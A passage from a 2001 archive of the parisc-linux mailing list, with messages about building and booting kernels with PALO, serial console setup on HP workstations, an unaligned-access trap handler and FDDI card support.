196</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Visit our web site at <A=20
href=3D"http://www.wias.net.au">http://www.wias.net.au</A></FONT></DIV></=
BODY></HTML>

------=_NextPart_000_004B_01C0F7B6.2A2EE9C0--





From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO/kernel-build change proposal
Date: Sun, 17 Jun 2001 21:15:50 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010617211550.D10186@parcelfarce.linux.theplanet.co.uk>
References: <E15AEUU-0004qi-00@noam.fc.hp.com> <200106132122.PAA01189@puffin.external.hp.com> <20010617230316.A3622@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620222 20911 80.91.229.3 (22 Nov 2014 01:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 14:15:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0721C482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 14:15:52 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Bixa-0001o6-00
	for parisc-linux@lists.parisc-linux.org; Sun, 17 Jun 2001 21:15:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010617230316.A3622@neep.com.au>; from andrew@neep.com.au on Sun, Jun 17, 2001 at 11:03:19PM +0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11366

On Sun, Jun 17, 2001 at 11:03:19PM +0800, Andrew Shugg wrote:
> Grant Grundler said:
> As a Debian user I discovered the wonders of Manoj's kernel-package
> suite to build Debian packages of kernel source/headers/image/docs from
> a single kernel tree.  Certainly much easier to install the resulting
> kernel-image-*.deb package than fuss about with the various Makefile
> targets.  I suppose it would be unfriendly though to ask that this
> become the standard means of building and installing hppa-linux kernels?
> 
> =)
> 
> I see nothing wrong with Paul's suggestion but hope that kernel-package
> is educated about the changes for the hppa architecture.  I've grown
> fond of it (or too lazy to go back?) ...

The changes required for kernel-package have been submitted to Manoj...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: buggz <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO/kernel-build change proposal
Date: Sun, 17 Jun 2001 20:16:03 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106172013490.20079-100000@buggz1.buggz.net>
References: <Pine.LNX.4.33.0106170807040.9599-100000@devnull.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620222 20914 80.91.229.3 (22 Nov 2014 01:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:02 +0000 (UTC)
Cc: PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 18:09:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imf10bis.bellsouth.net (mail010.mail.bellsouth.net [205.152.58.30])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61C14482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 18:09:35 -0600 (MDT)
Original-Received: from adsl-20-77-170.asm.bellsouth.net ([66.20.77.170])
          by imf10bis.bellsouth.net (InterMail vM.5.01.01.01 201-252-104)
          with ESMTP
          id <20010618001023.ULID26310.imf10bis.bellsouth.net@adsl-20-77-170.asm.bellsouth.net>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 17 Jun 2001 20:10:23 -0400
X-X-Sender: <buggz@buggz1.buggz.net>
In-Reply-To: <Pine.LNX.4.33.0106170807040.9599-100000@devnull.alaskatech.org>
Xref: news.gmane.org gmane.linux.ports.parisc:11367

On Sun, 17 Jun 2001, Tom wrote:

> I don't suppose someone has an updated how-to for actually *using* your
> new kernel, do they? Replacing /boot/vmlinux-2.4.0 with the new one
> results in an immediate hang on reboot...
>

*shrug*
Well, I've made two successful kernels, cp'd to /boot, edited
/etc/palo.conf, just like normal to me.

--
 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.






From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@Alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO/kernel-build change proposal
Date: Sun, 17 Jun 2001 17:05:20 -0800 (AKDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106171703250.18884-100000@devnull.alaskatech.org>
References: <Pine.LNX.4.33.0106172013490.20079-100000@buggz1.buggz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620222 20918 80.91.229.3 (22 Nov 2014 01:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:02 +0000 (UTC)
Cc: PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
To: buggz <buggz@america.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 19:05:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB13F482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 19:05:22 -0600 (MDT)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GF3POV03.VFX for
          <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 17:05:19 -0800 
Original-Received: from devnull.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GF3POV02.527; Sun, 17 Jun 2001 17:05:19 -0800 
In-Reply-To: <Pine.LNX.4.33.0106172013490.20079-100000@buggz1.buggz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11368

> > I don't suppose someone has an updated how-to for actually *using* your
> > new kernel, do they? Replacing /boot/vmlinux-2.4.0 with the new one
> > results in an immediate hang on reboot...
>
> *shrug*
> Well, I've made two successful kernels, cp'd to /boot, edited
> /etc/palo.conf, just like normal to me.

Hmmm... I tried that - copied lifimage to /boot/vmlinux-240-pa15, edited
/etc/palo.conf to change the kernel listed, then ran palo to update it and
rebooted. Same error - can't understand the kernel executable format.

Am wondering if perhaps it's me goofing it up rather than the system.
(Actually am pretty certain it's me, since other people can compile
kernels fine...)

Time to try again!





From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO/kernel-build change proposal
Date: Mon, 18 Jun 2001 02:13:48 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010618021348.H10186@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0106172013490.20079-100000@buggz1.buggz.net> <Pine.LNX.4.33.0106171703250.18884-100000@devnull.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620223 20921 80.91.229.3 (22 Nov 2014 01:37:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:03 +0000 (UTC)
Cc: buggz <buggz@america.net>,
	PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
To: Tom <tom@Alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 19:13:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC625482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 19:13:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Bnbw-0005pA-00; Mon, 18 Jun 2001 02:13:48 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0106171703250.18884-100000@devnull.alaskatech.org>; from tom@Alaskatech.org on Sun, Jun 17, 2001 at 05:05:20PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11369

On Sun, Jun 17, 2001 at 05:05:20PM -0800, Tom wrote:
> > > I don't suppose someone has an updated how-to for actually *using* your
> > > new kernel, do they? Replacing /boot/vmlinux-2.4.0 with the new one
> > > results in an immediate hang on reboot...
> >
> > *shrug*
> > Well, I've made two successful kernels, cp'd to /boot, edited
> > /etc/palo.conf, just like normal to me.
> 
> Hmmm... I tried that - copied lifimage to /boot/vmlinux-240-pa15, edited
> /etc/palo.conf to change the kernel listed, then ran palo to update it and
> rebooted. Same error - can't understand the kernel executable format.

Sounds like you're using the lifimage instead of the vmlinux.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unaligned trap handler - comments appreciated
Date: Mon, 18 Jun 2001 00:01:29 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20010618000128.G14564@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620223 20926 80.91.229.3 (22 Nov 2014 01:37:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 01:01:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84431482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 01:01:58 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id qwehgaaa for parisc-linux@lists.parisc-linux.org; Sun, 17 Jun 2001 23:58:45 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15Bt2P-0001gM-00; Mon, 18 Jun 2001 00:01:29 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11370

I just checked in an arch/parisc/kernel/unaligned.c file into palinux
cvs.

It's my (not-yet-successful) attempt at putting together an unaligned
memory access handler for palinux.

Since I'm not really familiar with how this is "supposed" to be done, I
would really appreciate if folks more in the know can review the code
and let me know if i'm on the right track, or if i'm smoking something
funny :-)

I haven't checked in the (simple, obvious) hook in traps.c that calls
the unaligned handler since it isn't working yet.

thanks for your patience :)
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matteo Boschini <boschini@cilea.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FDDI on 735/99
Date: Mon, 18 Jun 2001 11:22:30 +0200 (CEST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106181054280.852-100000@boschini.sede.cilea.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620223 20929 80.91.229.3 (22 Nov 2014 01:37:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:03 +0000 (UTC)
Cc: boschini@cilea.it
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 03:16:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boschini.sede.cilea.it (boschini.sede.cilea.it [131.175.1.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32E45482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 03:16:19 -0600 (MDT)
Original-Received: from localhost (boschini@localhost)
	by boschini.sede.cilea.it (8.9.3/8.9.3) with ESMTP id LAA00957;
	Mon, 18 Jun 2001 11:22:30 +0200
X-Authentication-Warning: boschini.sede.cilea.it: boschini owned process doing -bs
X-Sender: boschini@boschini.sede.cilea.it
Xref: news.gmane.org gmane.linux.ports.parisc:11371

Hello all, 

this is probably a dumb question, but I'm really stuck.
I have a 735 Apollo/99 on which I finally installed what seems a
reasonably stable kernel.
machine has only fddi net card. 
At boot, system detects Outfiled FDDI, which seems to be supported as from
http://216.208.98.4/view.php3?type=devicetype&name=Foreign%20I%2FO%20Module

I have compiled the kernel without seeing anything about FDDI. 

What am I supposed to now ?

Net-Card has nothing peculiar printed on it, I hust see 

hp F/O XVCR 9310
HFBR-5125 OPT OFS

Any help ?

Already thanks, 

Matteo
 





From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting up C110
Date: Mon, 18 Jun 2001 04:25:53 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <200106181025.EAA18515@puffin.external.hp.com>
References: <3B2CDE72.4010006@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620224 20931 80.91.229.3 (22 Nov 2014 01:37:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bryan W. Headley" <bheadley@interaccess.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 04:26:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B59CF482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 04:26:02 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id EAA18515;
	Mon, 18 Jun 2001 04:25:53 -0600
In-Reply-To: Your message of "Sun, 17 Jun 2001 11:44:34 CDT."
             <3B2CDE72.4010006@interaccess.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11372

"Bryan W. Headley" wrote:
>     Wasn't getting too far using the STI console, so I switched to the 
> serial console at the boot monitor. Sadly, no text appears on my 
> laptop-based "terminal", connected with null-modem cable. Also, the 
> unit's doesn't appear to respond to the built-in keyboard, either.

You should be able to get output from the serial port 1 when the
keyboard/mouse are disconnected. At least all the workstations I know of
work that way...You didn't need to change the console/keyboard path
at te PDC prompt.

> So, 1) how do I reset the boot PROM to use the graphics card/monitor again?

You don't until you get serial working and point the console path back
at the graphics(2) (or whatever it's called).

> 2) Any help on getting 0.9 or any other kernel booting would be a great 
> help...

32-bit/serial kernel should just boot. Bug in ccio might cause problems
installing from CD.

> (It has booted, to the point of displaying kernel sign-on messages, then 
> complaining about not being able to allocate a console, so I know things 
> "sort-of" work)

I'll assume that's with sticon.  I expect serial console to work better.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting up C110
Date: Mon, 18 Jun 2001 19:56:21 +1000
Lines: 25
Approved: news@gmane.org
Message-ID: <3B2E5CE5.88.5339D5@localhost>
References: <3B2CDE72.4010006@interaccess.com>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620224 20935 80.91.229.3 (22 Nov 2014 01:37:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 04:33:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4402482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 04:33:10 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.37.35])
          by mta03.mail.mel.aone.net.au with ESMTP
          id <20010618103307.RVUO4037.mta03.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 18 Jun 2001 20:33:07 +1000
Original-Received: from winnie (winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id TAA19948
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 19:56:23 +1000
Priority: normal
In-reply-to: <3B2CDE72.4010006@interaccess.com>
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:11373

 
> So, 1) how do I reset the boot PROM to use the graphics card/monitor
> again?

I'm in the same boat... before I got the sti stuff, I tried the serial port 
and now don't get any output (mostly due to dud nullmodem 
connections on the HP box.. it's far too recessed to use with 
"normal" serial connctions).... so if you get an answer to this, 
please let me know too.. might work on my 715.





Pete
=====
testing? What's that? If it compiles, it is good, 
if it boots up it is perfect.

--- Linus Torvalds
http://www.ao.com/~regan/quotes/Linux.html
==============




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting up C200 Visualize same output as C110
Date: Mon, 18 Jun 2001 04:35:17 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <200106181035.EAA18551@puffin.external.hp.com>
References: <004e01c0f762$58ac0ca0$c901a8c0@wias.net.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620224 20939 80.91.229.3 (22 Nov 2014 01:37:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Chris Christie" <info@wias.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 04:35:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA7A8482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 04:35:58 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id EAA18551;
	Mon, 18 Jun 2001 04:35:17 -0600
In-Reply-To: Your message of "Mon, 18 Jun 2001 05:18:53 +1000."
             <004e01c0f762$58ac0ca0$c901a8c0@wias.net.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:11374

"Chris Christie" wrote:
...
> C200 Visualize appears to halt with the following output..........
> 
> NET4: Unix Domain sockets 1.0/SMP for Linux Net4.0.
> VFS Mounted root (ext2 file system).
> Warning: unable to open initial console.
> loop: enabling 8 loop devices
> 
> The device appears to halt at this point.

Press the TOC button.
Interrupt the PDC autoboot.
"ser pim" should print the system state when the TOC button was pushed.

> 
> I am using IPL to configure the Console setting to remove the console =
> setting all together as I get stack dumps if I keep the statement:
> 
> Console=3DttyXXX
> 
> I remove this statement and the boot process happens without dumping =
> however the system is hanging for some reason.

Sorry - I don't know much about how console actually works.
I've managed to avoid that mess pretty well... :^)

> Maybe Grant could shed some light on this except Grant requires:
> 
> "Need console output and PIM "Tombstone".
> PIM "tombstone" can be aquired by interrupting autoboot
> at the PDC prompt and typing "ser pim".

Right. That's  true for any problem where the system just locks up.
Capturing serial console output should be pretty trivial.


grant

ps. please don't post the html copy of your mail. I'm getting
   both ascii and html versions of your mail.

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FDDI on 735/99
Date: Mon, 18 Jun 2001 04:42:29 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <200106181042.EAA18612@puffin.external.hp.com>
References: <Pine.LNX.4.21.0106181054280.852-100000@boschini.sede.cilea.it>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620225 20941 80.91.229.3 (22 Nov 2014 01:37:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matteo Boschini <boschini@cilea.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 04:42:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5C5A482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 04:42:40 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id EAA18612;
	Mon, 18 Jun 2001 04:42:29 -0600
In-Reply-To: Your message of "Mon, 18 Jun 2001 11:22:30 +0200."
             <Pine.LNX.4.21.0106181054280.852-100000@boschini.sede.cilea.it> 
Xref: news.gmane.org gmane.linux.ports.parisc:11375

Matteo Boschini wrote:
> 
> Hello all, 
> 
> this is probably a dumb question, but I'm really stuck.
> I have a 735 Apollo/99 on which I finally installed what seems a
> reasonably stable kernel.
> machine has only fddi net card. 
> At boot, system detects Outfiled FDDI, which seems to be supported as from
> http://216.208.98.4/view.php3?type=devicetype&name=Foreign%20I%2FO%20Module

I don't think anyone has actually tested any sort of FDDI for parisc-linux.
Much less one for GSC (which is what I expect the 735 to accept.)

> I have compiled the kernel without seeing anything about FDDI. 

I don't expect any driver to support the GSC FDDI card without modfications.
You might need to look at how GSC SCSI (Zalon driver)
support works to get an idea of what needs to be done.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@Alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting up C110
Date: Mon, 18 Jun 2001 06:04:41 -0800 (AKDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106180552230.19362-100000@devnull.alaskatech.org>
References: <3B2E5CE5.88.5339D5@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620225 20944 80.91.229.3 (22 Nov 2014 01:37:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:05 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Pete <plaven@ozemail.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 08:04:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id A14DE482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 08:04:43 -0600 (MDT)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GF4PRT02.P3V for
          <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 06:04:41 -0800 
Original-Received: from devnull.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GF4PRT01.R07; Mon, 18 Jun 2001 06:04:41 -0800 
In-Reply-To: <3B2E5CE5.88.5339D5@localhost>
Xref: news.gmane.org gmane.linux.ports.parisc:11376

On Mon, 18 Jun 2001, Pete wrote:
> > So, 1) how do I reset the boot PROM to use the graphics card/monitor
> > again?
>
> I'm in the same boat... before I got the sti stuff, I tried the serial port
> and now don't get any output (mostly due to dud nullmodem
> connections on the HP box.. it's far too recessed to use with
> "normal" serial connctions).... so if you get an answer to this,
> please let me know too.. might work on my 715.

My 715/100 was set using "path con graphics.1" at the boot menu. Once I
found a null modem cable that fit the port on the 715 I used HyperTerminal
on a Win2K box (set to 9600/8/n/1) and it booted right up...





From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Hernando Orozco" <hernandoo@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Burning a CD image ?
Date: Mon, 18 Jun 2001 15:57:30 -0000
Lines: 15
Approved: news@gmane.org
Message-ID: <F209l06sIQrttDRdNOU00012e19@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416620225 20946 80.91.229.3 (22 Nov 2014 01:37:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 09:57:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f209.law14.hotmail.com [64.4.21.209])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5C63482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 09:57:32 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 18 Jun 2001 08:57:31 -0700
Original-Received: from 24.3.167.33 by lw14fd.law14.hotmail.msn.com with HTTP;	Mon, 18 Jun 2001 15:57:30 GMT
X-Originating-IP: [24.3.167.33]
